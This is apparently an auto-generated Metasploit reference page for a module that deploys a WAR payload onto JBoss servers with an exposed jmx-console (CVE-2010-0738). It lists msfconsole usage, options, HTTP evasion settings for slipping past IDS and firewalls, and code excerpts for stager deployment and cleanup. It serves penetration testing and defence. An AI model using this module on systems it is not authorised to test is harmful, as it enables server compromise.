JBoss JMX Console Beanshell Deployer WAR Upload and Deployment - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/jboss_bshdeployer metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: JBoss JMX Console Beanshell Deployer WAR Upload and Deployment
Module: auxiliary/admin/http/jboss_bshdeployer
Source code: modules/auxiliary/admin/http/jboss_bshdeployer.rb
Disclosure date: -
Last modification time: 2022-03-10 18:03:35 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2010-0738
This module can be used to install a WAR file payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:BSHDeployer's createScriptDeployment() method.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/jboss_bshdeployer
msf auxiliary(jboss_bshdeployer) > show targets
... a list of targets ...
msf auxiliary(jboss_bshdeployer) > set TARGET target-id
msf auxiliary(jboss_bshdeployer) > show options
... show and set options ...
msf auxiliary(jboss_bshdeployer) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/http/jboss_bshdeployer auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/jboss_bshdeployer
msf6 auxiliary(admin/http/jboss_bshdeployer) > show info
Name: JBoss JMX Console Beanshell Deployer WAR Upload and Deployment
Module: auxiliary/admin/http/jboss_bshdeployer
License: BSD License
Rank: Normal
Provided by:
us3r777 <[email protected]>
Available actions:
Name Description
---- -----------
Deploy Create and deploy app (WAR) to deliver payload
Undeploy Remove app (WAR) for cleanup
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
APPBASE payload yes Application base name
PACKAGE no The package containing the BSHDeployer service
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /jmx-console yes The URI path of the JMX console
VERB POST yes HTTP Method to use (for CVE-2010-0738) (Accepted: GET, POST, HEAD)
VHOST no HTTP server virtual host
WARFILE no The WAR file to deploy
Description:
This module can be used to install a WAR file payload on JBoss
servers that have an exposed "jmx-console" application. The payload
is put on the server by using the jboss.system:BSHDeployer's
createScriptDeployment() method.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-0738
OSVDB (64171)
http://www.redteam-pentesting.de/publications/jboss
https://bugzilla.redhat.com/show_bug.cgi?id=574105
Module Options
This is a complete list of options available in the admin/http/jboss_bshdeployer auxiliary module:
msf6 auxiliary(admin/http/jboss_bshdeployer) > show options
Module options (auxiliary/admin/http/jboss_bshdeployer):
Name Current Setting Required Description
---- --------------- -------- -----------
APPBASE payload yes Application base name
PACKAGE no The package containing the BSHDeployer service
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /jmx-console yes The URI path of the JMX console
VERB POST yes HTTP Method to use (for CVE-2010-0738) (Accepted: GET, POST, HEAD)
VHOST no HTTP server virtual host
WARFILE no The WAR file to deploy
Auxiliary action:
Name Description
---- -----------
Deploy Create and deploy app (WAR) to deliver payload
Advanced Options
Here is a complete list of advanced options supported by the admin/http/jboss_bshdeployer auxiliary module:
msf6 auxiliary(admin/http/jboss_bshdeployer) > show advanced
Module advanced options (auxiliary/admin/http/jboss_bshdeployer):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/jboss_bshdeployer module can do:
msf6 auxiliary(admin/http/jboss_bshdeployer) > show actions
Auxiliary actions:
Name Description
---- -----------
Deploy Create and deploy app (WAR) to deliver payload
Undeploy Remove app (WAR) for cleanup
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/jboss_bshdeployer auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/jboss_bshdeployer) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Deployment failed
Here is a relevant code snippet related to the "Deployment failed" error message:
64:
65: bsh_payload = generate_bsh(:create, opts)
66: package = deploy_bsh(bsh_payload)
67:
68: if package.nil?
69: print_error("Deployment failed")
70: return
71: else
72: print_good("Deployment successful")
73: end
74:
Failed to deploy final payload
Here is a relevant code snippet related to the "Failed to deploy final payload" error message:
81: 'data' => payload_data,
82: 'uri' => stager_uri)
83: if res && res.code == 200
84: print_good("Payload deployed")
85: else
86: print_error("Failed to deploy final payload")
87: end
88:
89: # Remove the stager
90: print_status("Removing stager...")
91: files = {}
Unable to remove Stager
Here is a relevant code snippet related to the "Unable to remove Stager" error message:
92: files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
93: files[:stager_base] = "#{stager_name}.war"
94: delete_script = generate_bsh(:delete, files)
95: res = deploy_package(delete_script, package)
96: if res.nil?
97: print_error("Unable to remove Stager")
98: else
99: print_good("Stager successfully removed")
100: end
101: end
102:
Unable to remove WAR
Here is a relevant code snippet related to the "Unable to remove WAR" error message:
110: files[:app_base] = "#{app_base}.war"
111: delete_script = generate_bsh(:delete, files)
112:
113: package = deploy_bsh(delete_script)
114: if package.nil?
115: print_error("Unable to remove WAR")
116: else
117: print_good("Successfully removed")
118: end
119: end
120:
WAR file not found
Here is a relevant code snippet related to the "WAR file not found" error message:
122: app_base = datastore['APPBASE']
123:
124: case action.name
125: when 'Deploy'
126: unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
127: print_error("WAR file not found")
128: return
129: end
130: war_data = File.read(datastore['WARFILE'])
131: deploy_action(app_base, war_data)
132: when 'Undeploy'
Go back to menu.
Related Pull Requests
- #13443 Merged Pull Request: Add descriptions to auxiliary modules Actions
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6089 Merged Pull Request: Fix HTTP mixins namespaces
- #3771 Merged Pull Request: Remove STAGERNAME option in auxiliary/admin/http/jboss_bshdeployer
- #3698 Merged Pull Request: Fixup release
- #3540 Merged Pull Request: Added possibility to upload a custom WAR file
References
- CVE-2010-0738
- OSVDB (64171)
- http://www.redteam-pentesting.de/publications/jboss
- https://bugzilla.redhat.com/show_bug.cgi?id=574105
See Also
Check also the following modules related to this module:
- exploit/multi/http/jboss_bshdeployer
- auxiliary/admin/http/jboss_deploymentfilerepository
- exploit/multi/http/jboss_deploymentfilerepository
- exploit/multi/http/jboss_maindeployer
- auxiliary/scanner/http/jboss_vulnscan
- auxiliary/scanner/sap/sap_icm_urlscan
- auxiliary/admin/http/jboss_seam_exec
- auxiliary/scanner/http/jboss_status
- exploit/multi/http/jboss_invoke_deploy
- exploit/multi/http/jboss_seam_upload_exec
- exploit/multi/misc/jboss_remoting_unified_invoker_rce
- post/multi/gather/jboss_gather
Related Nessus plugins:
- JBoss Enterprise Application Platform '/jmx-console' Authentication Bypass
- HP-UX PHSS_42328 : s700_800 11.X OV NNM9.00 NNM 9.0x Patch 5
- RHEL 4 : JBoss EAP (RHSA-2010:0376)
- RHEL 4 : JBoss EAP (RHSA-2010:0377)
- RHEL 5 : JBoss EAP (RHSA-2010:0378)
- RHEL 5 : JBoss EAP (RHSA-2010:0379)
- Juniper Junos Space < 13.3R1.8 Multiple Vulnerabilities (JSA10627)
Authors
- us3r777 <us3r777[at]n0b0.so>
Version
This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.